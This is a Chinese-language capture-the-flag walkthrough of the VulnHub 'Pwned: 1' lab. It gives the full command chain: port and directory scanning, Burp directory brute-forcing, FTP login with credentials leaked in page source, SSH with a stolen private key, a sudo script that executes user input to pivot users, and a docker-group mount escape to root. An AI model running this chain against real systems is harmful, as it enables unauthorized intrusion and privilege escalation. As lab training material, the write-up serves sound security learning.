vulnhub Pwned: 1
渗透思路:
nmap扫描端口 ---- gobuster扫描网站目录 ---- burp爆破网站目录 ---- 网站源代码泄露ftp用户名密码 ---- ariana用户用id_rsa进行ssh登录 ---- sudo bash脚本提权到selena ---- 利用docker提权到root
环境信息:
靶机:192.168.101.107
攻击机:192.168.101.34
具体步骤:
1、nmap扫描
sudo nmap -sC -sV -p- 192.168.101.107
扫描到21(ftp)、22(ssh)、80(http)端口
2、gobuster扫描网站目录
gobuster dir -u http://192.168.101.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
扫描到/nothing和/hidden_text
3、burp爆破网站目录
http://192.168.101.107/hidden_text/是一个目录,其中有一个文件secret.dic,看上去是个目录字典
http://192.168.101.107/hidden_text/secret.dic
用burp的intruder模块对网站目录进行爆破,爆破位置如下图所示
payload粘贴http://192.168.101.107/hidden_text/secret.dic中的内容
不要勾选URL-encode these characters
按Start attack开始爆破,爆破结果中只有/pwned.vuln状态码是301,其他都是404
4、网页源代码泄露ftp用户名密码
访问http://192.168.101.107/pwned.vuln/,是一个登录页面,查看网页源代码发现被注释掉的php代码
上图红框中的代码泄露了用户名为ftpuser,密码为B0ss_B!TcH
但这对用户名密码无法用于网站登录,因此想到尝试ftp登录
ftp 192.168.101.107
用户名和密码分别为ftpuser和B0ss_B!TcH,登录成功,发现share文件夹,进入share文件夹后发现两个文件:
id_rsa和note.txt
下载这两个文件
ftp> get note.txt
ftp> get id_rsa
5、ariana用户用id_rsa进行ssh登录
note.txt泄露了用户名ariana,可以猜测id_rsa属于ariana
ariana进行ssh登录
ssh -i id_rsa ariana@192.168.101.107
登录成功,得到第一个flag
6、sudo bash脚本提权到selena
执行sudo -l
发现ariana可以在不需要输入密码的情况下以selena的身份sudo执行/home/messenger.sh
/home/messenger.sh内容如下,$msg(也就是提示符"Enter message for $name :"之后输入的内容)将被作为bash命令执行
#!/bin/bash
clear
echo "Welcome to linux.messenger "
echo ""
users=$(cat /etc/passwd | grep home | cut -d/ -f 3)
echo ""
echo "$users"
echo ""
read -p "Enter username to send message : " name
echo ""
read -p "Enter message for $name :" msg
echo ""
echo "Sending message to $name "
$msg 2> /dev/null
echo ""
echo "Message sent to $name :) "
echo ""
sudo执行 /home/messenger.sh
sudo -u selena /home/messenger.sh
在提示"Enter username to send message : "后面随便输入些字母,然后在提示"Enter message for $name :"之后输入bash,即可进入selena的shell。
在/home/selena/user2.txt中有第二个flag
7、利用docker提权到root
同时注意到,selena是docker组的用户。
在docker | GTFOBins中可以看到,当用户属于docker组时,有运行docker的权限,从而可以利用docker提权到root
执行如下命令后即可获得root的shell
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
在/root/root.txt中有第三个flag